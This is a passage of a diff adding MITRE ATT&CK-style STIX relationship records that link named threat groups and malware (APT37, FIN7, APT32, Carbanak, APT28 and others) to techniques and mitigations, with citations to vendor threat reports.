"attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--8467ea5f-cb0d-4eb6-b524-8bfd01e58721", + "source_ref": "course-of-action--80c91478-ac87-434f-bee7-11f37aec4d74", + "modified": "2019-07-24T19:15:27.483Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has collected data from victims' local systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--665d8625-e2d1-45d5-b5e3-d9bc0e242e7d", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.511Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) has created a scheduled task named \u201cAdobeFlashSync\u201d to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--37ba7858-8765-4445-a65e-d2765b673b34", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.283Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Morphisec FIN7 June 2017", + "description": "Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.", + "url": "http://blog.morphisec.com/fin7-attacks-restaurant-industry" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "description": "[APT32](https://attack.mitre.org/groups/G0050) created a [Scheduled Task](https://attack.mitre.org/techniques/T1053) that used regsvr32.exe to execute a COM scriptlet that dynamically downloaded a backdoor and injected it into memory. The group has also used regsvr32 to run their backdoor.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--dfcc52d8-4664-48c4-9e35-2be2cd649d93", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:37.694Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "The \"ZR\" variant of [BACKSPACE](https://attack.mitre.org/software/S0031) will check to see if known host-based firewalls are installed on the infected systems. [BACKSPACE](https://attack.mitre.org/software/S0031) will attempt to establish a C2 channel, then will examine open windows to identify a pop-up from the firewall software and will simulate a mouse-click to allow the connection to proceed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--eb7a6a3f-cc88-4ed7-8421-4642c1eb1978", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) has a command to delete files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d0b3dc96-7adb-4d38-b3cf-b448535ffa60", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.036Z", + "id": "relationship--7909f5a6-3924-4259-aedd-2e48123f563a", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.439Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used filenames and Registry key names associated with Windows Defender. The group has also stored obfuscated JavaScript code in an image file named temp.jpg.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3e82234f-db7b-4a0f-8c0a-979b01381a6a", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.343Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "source_name": "FireEye MuddyWater Mar 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.", + "source_name": "Talos MuddyWater May 2019", + "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html" + }, + { + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "source_name": "ClearSky MuddyWater Nov 2018", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--95bbada2-6096-475e-b8c5-7b79351b03a0", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.290Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.031Z", + "id": "relationship--a93e5f9f-5c8c-4832-93db-a6c180840a43", + "source_ref": "course-of-action--d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2", + "modified": "2019-07-24T19:27:15.721Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--49faeaac-7118-4705-8c29-9ce2a88ae958", + "source_ref": "course-of-action--37a3f3f5-76e6-43fe-b935-f1f494c95725", + "modified": "2019-07-25T18:57:59.505Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--bdac804d-9081-4dae-8bc7-877c771e5d72", + "source_ref": "course-of-action--97d8eadb-0459-4c1d-bf1a-e053bd75df61", + "modified": "2019-07-25T12:04:31.785Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", + "description": "[GCMAN](https://attack.mitre.org/groups/G0036) uses Putty and VNC for lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.071Z", + "id": "relationship--7db7f665-6e29-4789-8a3d-d6cb8d0af31e", + "source_ref": "intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016.", + "source_name": "Securelist GCMAN", + "url": "https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.034Z", + "id": "relationship--762f85a3-0120-4b09-aafd-3f460764e85f", + "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb", + "modified": "2019-06-10T19:28:01.000Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Moran 2013", + "description": "Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html" + }, + { + "source_name": "Moran 2014", + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072)'s service-based DLL implant can execute a downloaded file with parameters specified using CreateProcessAsUser.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--78e60088-f7bf-42bd-92f4-1880f755e363", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.102Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.028Z", + "id": "relationship--bb55d7e7-28af-4efd-8384-289f1a8b173e", + "source_ref": "course-of-action--fdb1ae84-7b00-4d3d-b7dc-c774beef6425", + "modified": "2019-10-23T14:49:39.625Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) collects information on network settings and Internet proxy settings from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--847752f4-59a2-46e9-ae28-befe0142b223", + "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used a modified version of pentesting tools wmiexec.vbs and secretsdump.py to dump credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9066dcee-7c80-429c-a5cc-77458e891349", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.311Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "description": "Twi1ight. (2015, July 11). AD-Pentest-Script - wmiexec.vbs. Retrieved June 29, 2017.", + "source_name": "Github AD-Pentest-Script", + "url": "https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--960d642d-a2f7-4b78-8363-fa94aff7bf86", + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "modified": "2019-03-25T15:36:46.868Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012)'s selective infector modifies executables stored on removable media as a method of spreading across computers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.047Z", + "id": "relationship--5bad7b38-36b5-4208-9895-e4a113c511a3", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "modified": "2019-01-31T18:48:51.987Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Darkhotel", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.058Z", + "id": "relationship--bcd1d261-0228-468f-b02b-52e6784e2491", + "source_ref": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70", + "modified": "2019-03-22T14:20:45.716Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye EPS Awakens Part 2", + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--efa2ae6b-8942-4ea2-80ca-b4181dd01427", + "source_ref": "course-of-action--94f6b4f5-b528-4f50-91d5-f66457c2f8f7", + "modified": "2019-07-25T11:12:34.468Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "The [Axiom](https://attack.mitre.org/groups/G0001) group has used other forms of obfuscation, include commingling legitimate traffic with communications traffic so that network streams appear legitimate. Some malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) also uses steganography to hide communication in PNG image files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.031Z", + "id": "relationship--f837cc68-8715-4301-ae15-bf89c8b1f7ee", + "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "modified": "2019-03-22T19:55:13.691Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.018Z", + "id": "relationship--3e89d94b-5e6f-48b3-ba80-d366940fa968", + "source_ref": "course-of-action--25d5e1d8-c6fb-4735-bc57-115a21222f4b", + "modified": "2019-07-24T14:33:18.191Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5ab4f110-5fd1-466b-9437-0132ae390ac9", + "source_ref": "course-of-action--65da1eb6-d35d-4853-b280-98a76c0aef53", + "modified": "2019-10-22T19:45:57.468Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", + "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) payload uses process hollowing to hide the UAC bypass vulnerability exploitation inside svchost.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.077Z", + "id": "relationship--28139c5b-be96-44d2-8e54-425311d108d6", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.593Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "source_name": "Cymmetria Patchwork", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[RTM](https://attack.mitre.org/groups/G0048) has used an RSS feed on Livejournal to update a list of encrypted C2 server names.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.081Z", + "id": "relationship--a58ad2d1-7200-4ba8-9c24-fc640306ea2f", + "source_ref": "intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f", + "modified": "2019-03-25T16:54:05.799Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used Metasploit\u2019s [PsExec](https://attack.mitre.org/software/S0029) NTDSGRAB module to obtain a copy of the victim's Active Directory database.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.071Z", + "id": "relationship--16c7058c-8fa5-4477-8332-9e76fcb38924", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.475Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[DOGCALL](https://attack.mitre.org/software/S0213) is capable of capturing screenshots of the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--8d761618-146f-4219-9b50-a4ceca6b2210", + "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d", + "modified": "2019-01-29T18:23:46.229Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "source_name": "Unit 42 Nokki Oct 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3", + "description": "[APT3](https://attack.mitre.org/groups/G0022) replaces the Sticky Keys binary C:\\Windows\\System32\\sethc.exe for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--a92197a8-ec5c-4366-92af-f45078a3bfd7", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.215Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "aptsim", + "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Carbanak](https://attack.mitre.org/groups/G0008) malware names itself \"svchost.exe,\" which is the name of the Windows shared service host program.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.042Z", + "id": "relationship--bbf116bf-6f8a-44f4-9d98-db6ccbbff333", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "modified": "2019-03-22T19:59:26.972Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has downloaded additional files, including by using a first-stage downloader to contact the C2 server to obtain the second-stage implant.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.038Z", + "id": "relationship--644b6c21-90f0-43b7-8da4-7f6f24ddabb6", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:34.477Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + }, + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. 